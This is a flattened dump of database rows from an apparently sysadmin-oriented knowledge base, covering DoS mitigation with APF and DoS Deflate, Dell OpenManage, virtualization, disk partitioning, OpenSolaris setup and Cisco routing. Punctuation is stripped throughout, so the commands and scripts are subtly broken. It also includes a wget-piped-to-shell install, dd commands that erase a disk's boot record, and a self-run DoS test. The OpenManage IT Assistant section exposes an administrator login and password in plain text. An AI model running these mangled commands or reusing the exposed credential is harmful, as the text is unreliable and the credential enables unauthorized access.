detailed analysis of how attacks work on the network level but rather presents some tools to stop the most common attack types mitigation tools apf if you don\'t already have apf advanced policy firewall installed that is a great place to start see the kb guide on advanced_policy_firewall apf contains a feature called reactive address blocking rab to help stop attacks from ips which demonstrate malicious activities this is configured in etc apf conf apf or where ever your apf config is at there is a lot you can do here and this is a powerful tool to start with read up on it and you just started fighting back let let\'s say you see from the netstat commands above a few ips with hundreds of connections you can drop them by root host # apf -d 85 186 92 4 iptables no chain target match by that name iptables no chain target match by that name inserted into firewall deny all to from 85 186 92 4 if you later want to remove the block on that ip root host # apf -u 85 186 92 4 removed 85 186 92 4 from trust system this is only the tip of the apf iceberg - just to get you started see the apf documentation for full information but this simple step alone can stop a lot of attacks with nothing more to automate the monitoring and blocking of abusive connections see the next step dos deflate script new if you have apf installed as above there is a great script that will run a check every minute and calculate the number of connections per ip any ip with greater than 150 connections by default will be added to to the block list in apf this is extremely easy to install just install apf and then install the dos deflate script with wget chmod 0700 install sh install sh note this will install a cron job to run every minute which will run a script to analyze and block connections the tool is installed in root tardis # cd usr local ddos root tardis ddos # ls license ddos conf ddos sh ignore ip list and you can see there is a ddos conf file here - this is where you can adjust the maximum number of connections allowed per ip length to ban them for email notifications etc we suggest lower it to 75 connections per ip and increasing the block time to 30 or 1800 seconds you can white list ips by adding them to ignore ip list uninstalling remove by running the uninstall script wget testing note do not test unless you have access to your server from another ip or you will just lock yourself out until the timeout expires default is 10 min you can simulate a dos attack on your server by using the apache benchmark tool this will let you open hundreds or thousands of connections to your server thus triggering the anti-dos script to block you run the test by running ab from another server with your server to dos at the target archimedes anduril ab -n 500 -c 5 somedomain com this will request 500 individual pages run one or more times now get back on your server and run this command to see all the open connections you just created root tardis ddos # netstat -ntu awk \' print 5 \' cut -d -f1 sort uniq -c sort -n 1 address 1 servers 30 72 184 142 161 1001 66 118 128 10 you should see a ton of connections coming from your ip congratulations you just dosed yourself now wait and within 1 minute you will loose your connection to your server when the script runs and blocks you out wait 10 or connect from another ip removing a blocked ip using apf root tardis # apf -u 66 140 128 20 apf 26902 trust removed deny all to from 66 140 128 20 you can view all the ips being blocked with apf using the -l to list all rules currently in force apf - will give other options becoming fluent with apf and dos deflate can greatly assist you in combating some forms of dos attacks it is well worth the time to learn how to use these tools apache tools there are several apache modules you can use to help mitigate dos attacks here are some to look into 1 mod evasive and mod security are both excellent apache tools to use to clarify mod secure does not itself really help against ddos attacks that is not what it does mod evasive can however help mode secure can be used together with other tools however if you have cpanel these modules are easily installed through whm 3 use other existing apache tools and modules to help mitigate abusive traffic for example has a cvs containing many useful modules for apache security including httpd-guardian with can help with ddos and abusive connection traffic 4 yet another possible tool to try is the simple solution another track you can take on all this is to simply identify the site s which are the target of the attack and simply cancel them if it is only one or two sites then removing them and any dns reference to your ip could likely resolve the entire situation why have all your customer suffer because of one site being attacked of course identify first the correct site and ensure it is an http attack against that site and not your ip etc first but if you find that a certain site is always being attacked - perhaps it is time to exile them from the village advanced tools advanced tools advanced tools the above tools are what we most commonly use to combat dos attacks these are all freely available tools you can use to fight against attacks these are typically very effective it takes some time to learn them but once done you can easily apply them to all your servers there are also firewall appliances which you can look at purchasing these are usually several thousand dollars though and require skill in their configuration and use we suggest using the free tools covered above and becoming well skilled with them as a good place to start we do offer advanced network support billed at 60 an hour where we can analyze the traffic and apply the above tools however there is no guarantee we can stop every attack - they require individual and customized responses and can be quite time consuming to combat conclusion conclusion conclusion there are a number of different methods to identify and block abusive traffic the tools listed here will go a long way to putting you back on top if implemented fully as your provider we want you to have excellent service and of course want your sites to be up however dealing with attacks is the domain of the server administrator and unless we manage your server this falls outside the bounds of what we generally can do for you if you are interested in obtaining a management package your account manager can assist you with the levels of management available please also understand that there is no simple one-click fix that will resolve abusive traffic it takes detailed analysis of the situation and then implementing the right tools monitoring the results and adjusting as needed '),(125,'data recovery specialists',' '),(126,'dell openmanage server administrator',' openmanage server admin easy to install web interface that gives all kinds of sever status information this can easily be installed on rhel centos and suse dell servers if using ubuntu this article may help there is also a windows version available for full info see the user guide reports installed memory available memory slots hardware specs remote os shutdown and reboot hardware error event log viewing setup snmp traps for alerts scripts to run raid configuration drive failure warning status impi configuration etc note per the dell linux raid site the perc 5 sas raid adapters cannot use the same lsi management tools as their scsi raid counterparts perc 4 and earlier instead use the new lsi sas raid tools megacli megaraid storage manager megaraid sas snmp moritz mertinkat has created a perc 5 i megacli cheat sheet which provides useful instructions for managing this controller via the command line tool note the cheat sheet contains a walk through on using megaraid to replace a failed drive much newer versions of the megaraid utility can be found at the lsi site for example here also note that you can manage the sas raid using the openmanager software yum repo setup & install dell has a yum repo which makes installing and updating openmanager very easy you may first want to remove any existing version using opt dell srvadmin sbin srvadmin-uninstall sh or yum erase rpm -qa grep srvadmin now set up the repo and install the latest version with wget -q -o - bash yum install srvadmin-all yum install httpd etc init d httpd start opt dell srvadmin sbin srvadmin-services sh start stop restart status optional firmware tools there are some handy utilities for updating your bios raid controller and storage array firmwares there is a command line and a gui version they will show your current versions and if any updates are available these tools can also be installed from the yum repo yum install dell_ft_install inventory_firmware update_firmware --yes to upgrade inventory_firmware_gui #gui version starting and verifying openmanage services and files are installed to opt dell sbin srvadmin srvadmin-services sh status srvadmin-services sh start dsm_om_connsvc start netstat -tuple you should see the openmagage server running on port 1311 connecting to web interface point a browser to htts serverip 1311 ensure this port is open in firewall accept the certificate log in with an account that has been setup with permissions to use open manager see note on authentication below ipmi settings system -- main system chassis -- remote access the configure tab at the top allows you set set ipmi ip address ipmi users etc troubleshooting troubleshooting troubleshooting if the web interface does not load ensure you have loaded all the kernel modules you may also need ipmi_msghandler try restarting the various services etc init d dataeng restart etc init d dsm_om_connsvc restart srvadmin-services sh restart etc init d httpd restart ensure se linux is disabled and port 1311 is open in the firewall authentication non-root users will be logged in as a regular openmanage user users in the group root will be \'power users in open manage to have full admin access log in as root or with a uid that uses roots id note your access level is displayed in the upper right corner of the openmanage web page note you must have admin rights for some options such as raid and volume management to be displayed references references references openmanage documentation and guides '),(127,'multiple x servers',' handy quick commands for running multiple x servers very useful if you want to run different desktops on separate vtys - say kde on vty7 gnome on vty8 and fluxbox etc or run two versions of kde etc note - while you can start these all as the same user you may run into issues with some features on the subsequent sessions not being available one option is just start each on as a separate user hints modify etc x11 xwrapper and change to everyone to allow you to start x servers from within x else you will need to start them from a vty try something like this user host startx && startkde - 1 vt8 2 dev null & if running in a terminal program in x surround with to prevent it closing if you terminate the terminal that started it fancy method a guy wrote a very clever script to automate the process i believe this was written for ubuntu however you should be able to modify it easily for other distros - it ran near perfectly under suse 10 3 for me note you must have dialog installed from your package manager as this uses the curses dialog gui bodhi bodhi\'s virtualx script # bin sh # variables # widowmanager desktop window manager # tempfile1 tempfile1 ################################################## ########################### ## default screen ## ################################################## ########################### # gdm starts at boot on screen 0 # fluxbox 1 # gnome 2 # icewm 3 # kde 4 # openbox 5 # xfce 6 ################################################## ########################### ## select desktop window manager ## ################################################## ########################### dialog --backtitle welcome to bodhi bodhi\'s virtual x script --title desktop environment --menu please select a desktop environment 13 175 7 fluxbox fluxbuntu gnome ubuntu icewm kde kubuntu openbox xfce xubuntu 2 tempfile1 return_value windowmanager cat tempfile1 case return_value in 0 rm tempfile1 & rm windowmanager clear echo -e \' e 32m\' bodhi zazen tput sgr0 case windowmanager in fluxbox # start xsreensaver & numlockx display 1 0 usr bin xscreensaver & display 1 0 usr bin numlockx on & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start rox #display 1 0 rox --pinboard default & exec usr bin startx usr bin fluxbox -- 1 2 dev null & exit ;; gnome # start xsreensaver & numlockx display 2 0 usr bin xscreensaver & display 2 0 usr bin numlockx on & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start gnome usr bin startx usr bin gnome-session -- 2 2 dev null & exit ;; kde # start xsreensaver & numlockx display 3 0 usr bin xscreensaver & display 3 0 usr bin numlockx on & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start kde usr bin startx -- 3 2 dev null & exit ;; icewm # start xsreensaver & numlockx display 4 0 usr bin xscreensaver & display 4 0 usr bin numlockx on & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start rox # rox --pinboard default & # start icewm exec usr bin startx usr bin icewm-session -- 4 2 dev null & exit ;; openbox # start xsreensaver & numlockx display 5 0 usr bin xscreensaver & display 5 0 usr bin numlockx on & # to set background image uncomment the following lines and set the path to an image # display 5 0 fbsetbg -f home picture jpg & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start rox rox does not work so well with openbox # rox --pinboard default & # start openbox exec usr bin startx usr bin openbox -- 5 2 dev null & exit ;; xfce # start xsreensaver & numlockx display 6 0 usr bin xscreensaver & display 6 0 usr bin numlockx on & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start rox # rox --pinboard default & # start xfce exec usr bin startx usr bin xfce4-session -- 6 2 dev null & exit ;; esac ;; 1 clear echo -e \' e 31m\' cancel tput sgr0 sleep 2 clear exit ;; 255 clear echo -e \' e 31m\' esc tput sgr0 sleep 2 clear exit ;; esac rm windowmanager clear echo -e \' e 32m\' bodhi zazen tput sgr0 '),(128,'virtualization methods',' many quests for the grail virtualization can be accomplished via several different methods each having its strengths and weaknesses performance of the guest virtual machines resource sharing density of vms that can be achieved on the same hardware all very with each method some require specific vt enabled cpus other will run on damn near anything some like vmware server can be set up by a 12 year old go vmware - other require custom kernels and a high level of comfort with linux and the shell this is intended as a very brief introduction to available virtualization technologies and to direct you to some exceptional tools to fast track you into using this technology with the booming interest in virtualization it well behooves any tech savvy person or sys admin to know more than one method only there is a lot going on in the enterprise data center and it world about this subject and knowing the available technologies their differences and niches might prove quite handy let let\'s look at the primary methods used for virtualization and some of the best projects showcasing each method full on virtualization full on virtualization full on virtualization vm ware and its awesome products are the giants here and the stuff of legend and rightly so - their products are really fantastic if you have not yet tried the free vm ware server - that is where to start download this and a couple vm ware appliances and you can be test driving the latest distros in minutes linux freebsd solaris - all running side by side in wonderful bliss try a new firewall or ids appliance set up a web server in minutes run five servers on one box easily yes it is really is that easy and that cool browsing the appliances pretty makes makes you feel like a kid in a candy store don\'t miss out on this opportunity for utter over indulgence if you don\'t seriously geek out on these please consult your physician as you may be suffering from an undiagnosed condition which if left untreated could become serious this is accomplished by vm ware emulating a complete hardware layer which the guest os then install on top of as far as the guest knows it is running on that hardware this is the style of virtualization a lot of us may already be familiar with but as you will see there are several other methods and they are quite different os level virtualization os level virtualization os level virtualization this is not like vm ware wherein full hardware environments for each separate vm are created in fact in this instance all running oses may be sharing one running kernel this allows greater density more vms per physical server and good performance however this introduces some limitations as well for viruozzo only linux can run on a linux host os and windows on a windows host server also though you can run many distros of linux - they all share one kernel - no custom kernels can run on a client os there are several popular projects using os level virtualization commercial products such as virtuozzo from sw soft utilize this method in fact virtuozzo is based on the open source community project named open vz and sw soft is a sponsor of this project virtuozzo offers a very nice gui for interacting with the guest vms and managing them however there are also several open source options for a gui front end to open vz including fluidvm from also additionally the proxmoxve os installer debian openvz includes a web interface gui for interacting with openvz and its virtual machines so - virtuozzo gets a lot of name recognition but what people often don\'t realize is that the underlying technology openvz is an open source project and you can use it today and with the compete install environment provided with proxmox be up and running in literally minutes open vz openvz is container-based virtualization for linux openvz creates multiple secure isolated containers otherwise known as ves or vpss on a single physical server enabling better server utilization and ensuring that applications do not conflict each container performs and executes exactly like a stand-alone server; a container can be rebooted independently and have root access users ip addresses memory processes files applications system libraries and configuration files for more information about the technology and how it differs from the others like xen vmware etc see introduction to virtualization doc openvz-intro pdf 73 kb or wikipedia openvz openvz is free open source software available under gnu gpl openvz is the basis of parallels virtuozzo containers a commercial virtualization solution offered by parallels openvz project is supported by parallels web interfaces for open vz proxmoxve for a super easy way to test drive openvz try the installer which will install debian with openvz and a web interface in minutes see the guide at yet to come paravirtualization paravirtualization paravirtualization or things that go bump in the night xen yamma yamma ohm ohm ohm kvm virtualization kvm virtualization kvm virtualization omg ubuntu is using this next instead of xen run for your lives kvm ko and kvm-intel ko kvm-amd ko blah blah '),(129,'drive partitioning tools',' backup partition table before you get too crazy how about you back up your partition table first #sfdisk -d dev sda sda part table and restore it with #sfdisk dev sda sda part table copy the partition table from one drive to another so they are identical #sfdisk -d dev sda sfdisk dev sdb erasing mbr erasing mbr erasing mbr #dd if dev zero of dev sdb bs 446 count 1 the partition table starts on the next block this should only remove the mbr back up the partition table first see above erasing mbr & partition table erasing mbr & partition table erasing mbr & partition table #dd if dev zero of dev sdb bs 512 count 1 parted parted parted has an interactive and command line mode note unlike fdisk changes made with parted are committed to the partition table immediately so you must ensure each command is correct you can not back out or cancel like with fdisk #parted -l dev hda gives a nice partition list with human readable sizes resizing partitions using parted seems a bit flaky another option is to use resize2fs delete and recreate the new partition boundaries gui partitioning tools gui partitioning tools gui partitioning tools cfdisk provides a simple screen interface for basic partitioning operations '),(130,'caos linux and perceus cluster management',' infiscale offers both caos linux and perceus caos is a community operating system which is rpm based and binary compatible with rhel perceus is a cluster management system that is very scalable and easy to use here is a blog of a guy who set up a perceus cluster giving some examples install and config command walk through perceus 1 x manual '),(131,'fluidvm install',' fluidvm intro fluidvm is a virtualization solution which runs as a cluster of servers there is a management server and separate physical servers for xen and openvz containers vms to run on thus if you wish to use both types of virtualization a cluster of three servers is required only the xen vm server requires a vt enabled processor full install instructions and user admin guides are at the fluidvm site management server vt not required centos 5 1 with normal kernel this can be a 1ghz system low end is fine run the install py script install completes with congratulations binary karma fluidvm back-end management server installation was successful please note that binary karma fluidvm back-end management server must always be run under a normal kernel do not run binary karma fluidvm back-end management server under the xen or openvz enabled kernels xen vm server vt required 64 bit centos 5 1 with running xen kernel yum groupinstall virtualization clustering cluster storage yum install kmod-gnbd-xen if you install centos 5 2 you will need to ensure all the below packages are installed manually - otherwise it won\'t work ensure all of the following packages are on the server 2008 aug 15 fri 05 33 42 installed nfs-utils 1 0 9 2008 aug 15 fri 05 33 41 installed portmap 4 0 2008 aug 14 thu 12 51 29 installed fluidvm-agent-updater-bk 1 0 2008 aug 14 thu 12 51 28 installed pyparted 1 8 1 2008 aug 14 thu 12 51 25 installed pyopenssl 0 6 2008 aug 14 thu 12 51 22 installed iscsi-initiator-utils 6 2 0 868 2008 aug 14 thu 12 49 41 installed kmod-gnbd-xen 0 1 4 2008 aug 14 thu 12 48 05 installed gnbd 1 1 5 2008 aug 14 thu 12 48 04 installed lvm2-cluster 2 02 32 2008 aug 14 thu 12 47 54 installed kmod-gfs 0 1 23 extract and run install py openvz server yum group install clustering cluster storage management gui management gui management gui access it at this gui run on top the etc init d nginx service multiple users can be logged in at the same time but only one instance of each user perhaps we can set it up for ldap authentication etc otherwise just make a few separate admin accounts services & ports services & ports services & ports the services that need to be running on each server and the ports used are described at on the xen server also ensure xend is running setting up vms setting up vms setting up vms for zen vms you can install the os from a physical cd placed in the management server since ours does not have a cdrom just scp the iso to the management server to nbd directory and rescan iso area in the gui virtual cockpit iso store tab old notes old notes old notes fluidvm is a web based gui for managing kvm and open vz based virtual machines trial download and full documentation can be found at download the good stuff wget extract and run the python installer note this is just the web gui you also need to install bk_vkarma_backendu8c2adx x tar bz2 bk_xen_servicesu8c2adx x tar bz2 bk_openvz_servicesu8c2adx x tar bz2 system-config-securitylevel-tui disable se linux ensure firewall off or configured service webkarma-lighttpd start service webkarma start netstat -ntlp #look for python listening on port 8086 login with admin admin '),(132,'solaris and linux dtrace',' solaris dtrace solaris dtrace solaris dtrace observable architecture is one description dtrace is a very large improvement on system profiling tools vastly more usable than the numerous discrete tools commonly used for system profiling in nix while sar vmstat ps iostat netstat etc all provide useful information they use different interfaces don\'t work together and have various limitations dtrace is solaris 10 allows you to gather information on a depth and breadth not previously possible and do so with extreme speed and simplicity a scripting language called d is used to create scripts calling on dtrace functions to perform profiling operations dtrace is apparently being ported by apple as is available in os x 10 5 some interesting stuff on dtrace chime chime chime opensolaris has a gui available for dtrace available called chime which you can find here you can find additional information and screen shots of it here and even a screen cast chime allows you to monitor and graph over time a large number of dtrace hooks as well as record and playback sampling linux dtrace systemtap linux dtrace systemtap linux dtrace systemtap the linux world not to be out done moves forward with an implementation similar to dtrace called systemtap here is a red hat article describing the install of systemtap and a basic orientation an interesting comparison of systemtap and dtrace dtrace on linux apps dtrace on linux apps dtrace on linux apps linux applications can be analyzed with dtrace by running the app in a solaris brandx zone thus making the application accessible to dtrace the app can then by analyzed for performance using all of dtrace dtrace\'s capabilities '),(133,'mounting and accessing a container file system',' container root file systems virtuozzo uses a root efd file which contains the customers root file system if the vps is not running won\'t start etc then how do you access their stuff ahh yes you may be able to just mount the container file system without starting the vps then you can browse the file system to recover data etc the following procedure was used to import mount browse and recovery a container from a previous virtuozzo host os drive so we could not just mount the failed vps but had not make a new container move the container over then mount it this example assumes we are using a windows vps if you simply have a vps that will not start but you need to mount the file system you should be able to just use the vzctl mount command steps 5 and 6 below to mount the vps but not start it if you need to run chkdsk on a vps that won\'t start please see running chkdsk on a container file system migrating mounting browsing container filer systems the basic procedure to recover migrate a container 1 in virtuozo web interface create a new essentially empty default vps container 2 stop the original vps which it most likely is because it is broken and otherwise you likely wouldn\'t be reading this 3 rdp into the virtuozzo server 4 copy the files from the broken container to the new container for example you might find the old guest os files in drive vz private continerid you will see this container has a root efd file this is like either a virtual file system or some kind of archive this is the customers root file system if you look there is a root folder inside their container id folder s vz private 1134 root but this will appear empty as the root efd file is not mounted in the container not mount to this root folder 5 mount file system root efd to the new container container\'s mount point which is the root folder this is done using the virtuozo cli commands these are simply entered in the windows command prompt just start a command shell and type c vzctl mount 100 where 100 is the id of the new container which has the root efd and other files you copied over from the old broken vps 6 you can now browse the root folder in the new container find the data you need and copy and paste it as needed references html version '),(134,'running chkdsk on a container file system',' summary vzctl stop 115 vzcfgt get 115 guid vzdskctl mount c vz private 115 root efd 799251be-720c-468e-b877-913f49476001 chkdsk f volume 799251be-720c-468e-b877-913f49476001 vzdskctl umount 799251be-720c-468e-b877-913f49476001 vzctl start 115 '),(135,'dell openmanage it assistant',' intro dell dell\'s openmanage it assistant ita is a central management console which allows the monitoring and management of a wide variety for dell devices on your network ita runs on a windows server and provides services through a web interface you can discover configure and monitor all dell servers on your network set snmp traps push out bios updates and run ssh and ipmi scripts etc note there is no linux version of the ita central management server - however the software installed on a managed server server administrator is available for both linux and windows openmanage it assistant a central management server that monitors all dells which are configured correctly openmanage server administrator runs on each dell server that we want to manage and monitor this is available for both centos and windows clients for general information and install instructions on this please see dell openmanage server administrator using ita using ita using ita access our central it assistant dell management console server at or login administrator pw s4g0itast4t1on quick tips view all currently discovered devices under device view servers note if ipmi on the client is configured it will show up under servers if not the device will show up under the unknown category discover devices by ip ranges searching a entire class c if you like etc you can set up snmp traps to monitor various hardware events etc impi and ssh scripts can be configured using the command line connection option installing openmanage ita installing openmanage ita installing openmanage ita prepare a windows 2003 server install snmp add remove windows components configure the snmp service setup the community read and read-write strings download the latest windows exe insaller 300 mb from when you install this is runs a system config test and will show you are not running ms sql lite and will prompt you to install it after install completes click on the ita icon on desktop accept certificate and log in using the same credentials as the windows server you can access this interface from any browser by going to the server ip via https to port 2607 documentation documentation documentation '),(136,'opensolaris',' sun history opensolaris is the open source distribution of sun microsystem microsystem\'s solaris operating system the opensolaris project was started by sun in june of 2005 it runs on both sparc and x86 systems and it has come far in a short amount of time solaris has a long history and has been one of the major operating system developed in the last 20 years it states it is the most advanced operating system on the planet - and this may not be unfounded with features such as zfs and dtrace containers and zones for running virtual machines and other distributions in discreet areas and the numerous other innovations and projects sun is currently working on solaris may be just that read on for more on these technologies sun sun\'s history of support for open source is also quite noteworthy have you ever used nfs an early pioneer in tcp ip sun developed the network file system which became a standard in the industry and is still widely used today open office a fantastic open source office suite was developed by sun and given freely long before most people had even heard the word linux and recently sun sun\'s acquisition of mysql ab and virtual box while allowing both projects to maintain their open source projects should not be missed with opensolaris sun is giving its formidable operating system and its underlying technology to the world they have spent millions developing it but see further value in the open source model sometimes criticized for not offering all their products under the gpl that may also change see this site for some interesting comments from sun sun\'s ceo jonathan schwartz and the possible gpl future of things like zfs and opensolaris this is very interesting indeed for more information visit for the public face of the project or for the development community site project indiana project indiana project indiana the model of having a commercial enterprise or a long term support product and a parallel distribution for showcasing or testing new technology is familiar with such things as red hat and its fedora distros and suse and open suse similar to that sun has now launch project indiana - an opensolaris based binary distribution these releases will come out on a 6th month release cycle they contain features which have become common to linux distros over the recent years such as a live cd format but they also showcase unique solaris features such as native zfs file systems and dtrace sun sun\'s entrance into the distro market may draw a sneer or two from the linux crowd - a sort of little too late attitude the idea of microsoft microsoft\'s entrance to console gaming with the x box and apple apple\'s similar late arrive to mp3 players comes to mind a late comer sometimes comes at the perfect time i certainly see a fair number of ipods these days opensolaris may not get too much attention at first but i think sun intends to change that and behind project indiana is an individual well equipped for the job ian murdock & indiana ian murdock & indiana ian murdock & indiana ian murdock sun sun\'s chief os strategist is the force behind opensolaris and project indiana ian founder of debian linux is the creator of one of the most popular linux distriubtions in the world ian took a position at sun and is the man behind these projects he discusses his move to sun and involvement in sun projects on his blog at why is this that significant have you ever used debian or ubuntu what did you think of its apt package management exactly some would argue that a distro is as good as its repositories and clearly debian excels in this area imagine if solaris had a truly fluid package manager and you could install software as easily as in debian well - opensolaris is well on the way with its new package manager installing open office is as simple as running #package install openoffice the same applies for mysql and about 1 200 other packages of course the number of packages available compared to linux repositories is slight indeed but that can certainly change perhaps the meteoric rise of ubuntu will have an equal still wondering about that name project indiana deb ian was named for ian and his wife deborah they live in indiana and sun sun\'s project is ind ian a merging of the minds merging of the minds merging of the minds while not a huge fan of os x there is an interesting bit of technology to note when os x was released for the intel platform a huge concern for apple was the ability for intel based macs to be able to run all the software which had been developed for the powerpc macs obviously the whole os x on intel initiative would not go far if this flopped and backward compatibility was not maintained the solution was rosetta - and it was essentially a complete success rosetta was not an emulator or a full-on style virtual machine that ran the older powerpc apps instead it transparently and dynamically translated the binary at execution time into instructions for the new processor architecture it was now running on it actually would take the cpu instructions written for one architecture and dynamically translate them to another through a cross platform vitrualization solution using binary translation amazingly enough it worked extremely well apple integrated this with os x for intel to the point where the user was essentially completely unaware of it if they downloaded an app compiled for a powerpc processor and simply tried to run it on their intel mac it actually ran now while there were some apps that did not run under rosetta and there was a performance issue with heady apps like photoshop i have to say that i could not believe how well it actually worked interestingly enough the company that produced rosetta for apple also produces products that allows apps compiled for sparc to run on solaris x86 platforms now imagine the same type of thing being done to allow linux apps to run under solaris transitive already makes products that allow sparc apps to run on linux x86 and itanium platforms if they made a product to translate the other way it would allow many unmodified linux apps to run on solaris other cool sun stuff other cool sun stuff other cool sun stuff if you want to learn some about some very cool things in solaris and that sun is doing you might find the following of interest zfs - zettabyte file system you can play with this in linux and run in under fuse or install opensolaris and test drive it that way there are so many interesting things about this it deserves elaboration zfs_file_system project crossbow sun was a pioneer in tcp ip and it continues it it\'s work by rethinking network device utiliation to take full advantage of 10 gigabit ethernet even in virtualized environments and maintain qos with not degredation in performance dtrace very very cool the crystal ball allowing you to gaze deeply into the internal workings of the kernel and applications solaris_and_linux_dtrace '),(137,'opensolaris vmare install',' passwords sun default image root opensolaris jack jack vmplanet image vmplanet vmplanet net fluidvm boot fluidvm boot fluidvm boot add the kernel boot option -b atapi-cd-dma-enabled 0 to allow the live cd image to boot properly in fluidvm installing in xen installing in xen installing in xen installing vmware tools installing vmware tools installing vmware tools yea it does not really work using the vmware-tools installer installing vmware tools on opensolaris 2008 05 will result in a black x screen and you will be stuck log into a console session - if your grub does not have a text mode entry it will start x with the black screen automatically and you will be stuck to avoid this simply press u8e28098eu8e28099 to edit the boot line in grub then u8e28098eu8e28099 to edit the kernel line append this to the end of the line init bin bash and then boot the kernel with u8e28098bu8e28099 log in as root and the pw is opensolaris now you just need to rename a file view the gdm log and it will likely show an unknown symbol referenced by the offending driver to see the log #tail var log gdm 0 log the file in usr x11 lib modules drivers is the problem i renamed the existing vmware_drv so to vmware_drv so-broken and then renamed vmware_drv so prevmwaretoolsinstall into vmware_drv so rebooted and it works great this great tip is from ankush and came from which is a pretty good guide on install opensolris in vmware fusion networking config networking config networking config ifconfig -a make sure your etc resolv conf is configured still won\'t work check that etc nsswitch conf - hosts and ipnodes parameters need to be set to files dns in order to make dns work one way to set this up is to use one of the templates # cp etc nsswitch dns etc nsswitch conf installing mysql installing mysql installing mysql you can use the gui software installer and try to start the service for the gui service manager which did not work for me or just do it from the shell i dug most of the following out of #pkg install sunwmysql5 install the mysql tables and start the service # usr mysql bin mysql_install_db usr mysql bin mysqld & you can\'t start the service as root by default set the root password mysqladmin -u root password \'password\' connect with my mysql client usr mysql bin mysql setting up my cnf cp usr mysql share mysql my-medium cnf var mysql my cnf setting up another mysql user and password mysql -u root -p mysql create database demo; mysql grant all on demo to user1 localhost identified by \'mypassword\'; slow boot speed slow boot speed slow boot speed # vi rpool boot grub menu lst before title opensolaris 2008 05 snv_86 x86 kernel platform i86pc kernel isadir unix -b zfs-bootfs module platform i86pc isadir boot_archive after title opensolaris 2008 05 snv_86 x86 kernel platform i86pc kernel unix -b zfs-bootfs module platform i86pc boot_archive xorg xonf file missing xorg xonf file missing xorg xonf file missing if you need one you put it in etc x11 xorg conf but opensolaris defaults to just using sane defaults without a config file you can get a dump of a default xorg conf file by stopping gdm svcadm disable gdm logging in on console and running usr x11 bin xorg -configure either login as root or add pfexec in front if running as yourself and then restart gdm with svcadm enable gdm general documentation general documentation general documentation '),(138,'openssh chroot',' if you want to chroot ssh users there are a few things to consider and and ssh patch you can use openssh does not really support this in the default binary see '),(139,'building scalable cisco networks',' eigrp variance allows load balancing over unequal cost paths ospf does not allow this to include higher cost routes that the successor use the variance command note this will only balance one routes that are successors or feasible successors - if the advertised metric of a route is higher then the feasible distance it will not but used in load balancing ospf ospf ospf default-information originate always will propagate this route to all other routers as the default route router ospf pid pid is only locally significant but ospf area must be the same redistribute static network 0 0 0 0 255 255 255 255 will advertise all networks on that router ip ospf hell dead time hello and dead intervals must be the same sh ip ospf sh ip protocols displays high level protocol info sh ip ospf neighbor detail shows who is dr bdr ip ospf cost sets the cost of the interface as specified clear ip ospf process to force ospf to run stub totally stubby nssa stub totally stubby nssa stub totally stubby nssa default routes and injected downward into stub and totally stubby areas by ospf automatically stub only one exit not in backbone not a transit block type 5 e1 & e2 routes totally stubby blocks 3 4 and 5 no external or ia routes nssa accepts type 5 lsa e routes but blocks 3 & 4 ia routes makes is so an area can accept external routes but still maintain the characteristics of a stub area to the backbone floods lsa 7 7\'s in the area but leave area as a lsa 5 when passes through abr toward backbone two variations of nssa are nssa stub and nssa totally stubby config area 2 nssa stub area 2 nssa no summary totally stubby route summarization route summarization route summarization inter-area route summerization between areas area area-id range network-address subnet-mask area transit-area virtual-link router-id external route summarizaion between as summary-address network-address subnet-mask router ospf 1 default-information originate always will propigate a default router into the as however you must ensure the router adverting this has a specified default route else all traffic pointed to it will be dropped is-is is-is is-is isis must be enabled on all interfaces manually router isis net 49 0001 1111 1111 1111 00 area system id port interface fastethernet 0 0 ip router isis interface loopback0 ip router isis isis config and analysis commands show clns protocol show clns neighbors show isis topology show isis database show isis database router1 00-00 detail show clns route show clns interface fastethernet 0 0 the dis same as dr router is the one displayed with a non-zero value in the second octet in the database e g router1 02-00 router1 system name 02 pseudonode -00 fragment number only the dis creates pseudonode numbers and is thus the dis the system id and pseudonode id together are called the circuit id e g router1 02 to set the router type config t router isis is-type level-2-only interface timers interface fastethernet 0 0 isis hello-interval 5 this value is multiplied by 3 by default route redistribution route redistribution route redistribution router rip distance 105 ip mask or distance 105 ip mask acl_number ospf needs to receive hello packets to form adjacencies then a interface in passive mode blocking broadcast hellos would prevent this unicast hellos sent to an ospf router would allow it to still establish an adjacency router ospf passive-interface default #set all interfaces to passive mode no passive-interface serial 0 0 #to bring specified interface out of passive mode redistributing rip into ospf may require a default information-originate always under ospf to let rip know it is the default route so that traffic will be routed back to rip hosts without this the rip hosts may have router to the ospf side but no return traffic will occur router ospf 1 default information-originate always to change the default metric type of the incoming route use redistribute rip sub metric-type 1 summarizing eigrp routes to advertise interface serial0 0 ip summary-address eigrp 1 192 168 48 0 255 255 254 0 #above will advertise 192 168 48 49 0 as supernet 1 sh ip route 192 168 48 0 255 255 254 0 #will desc this in detail turn of advertised 32 destination prefixes in ospf interface loopback0 ip ospf network point-to-point summarize inter-area routes at the abr in ospf summarize at the abr or asbr the two ospf exit points so lsa are converted into the correct types eigrp allows summartization at any router interface in the domain ospf does not area 20 range 20 192 168 8 0 255 255 252 0 #will combine 192 168 8-11 0 into one summarized route redistributing eigrp & ospf router ospf redistribute eigrp 1 subnets redistribute connected subnets router eigrp 1 redistribute ospf 1 metric 10000 100 255 1 1500 redistribute ospf 1 bgp fun bgp fun bgp fun bgp requires an igp running inside of an as of 3 or more routers for it to function if there is only one or two routers in an as there is no need for an igp as everything is directly connected bgp sometimes needs the next hop attribute set in order to manually say hey i am your next hop router not the router next to me which i am advertising router bgp 100 neighbor 10 0 0 1 remote-as 200 #my neighbor and its as number network 192 168 2 1 mask 255 255 255 0 #my networks to advertise sh ip bgp neighbors will show the link state as it establishes itself end state is established - starting state is active filter routes if you don\'t filter you will by default allow transit traffic i e others can route through you to get to the ases which you are advertising - you are a conduit access-list 1 permit 192 168 0 0 0 0 1 255 above are the allowed advertised routes router bgp 100 neighbor 10 0 0 1 distribute-list 1 out neighbor 172 16 0 1 distribute-list 1 out in other words with these neighbors use the distribute list defined and allow only the 192 168 0-1 x traffic out - only advertise these networks but not any others primary and backup default routes ip route 0 0 0 0 0 0 0 0 10 0 0 1 210 ip route 0 0 0 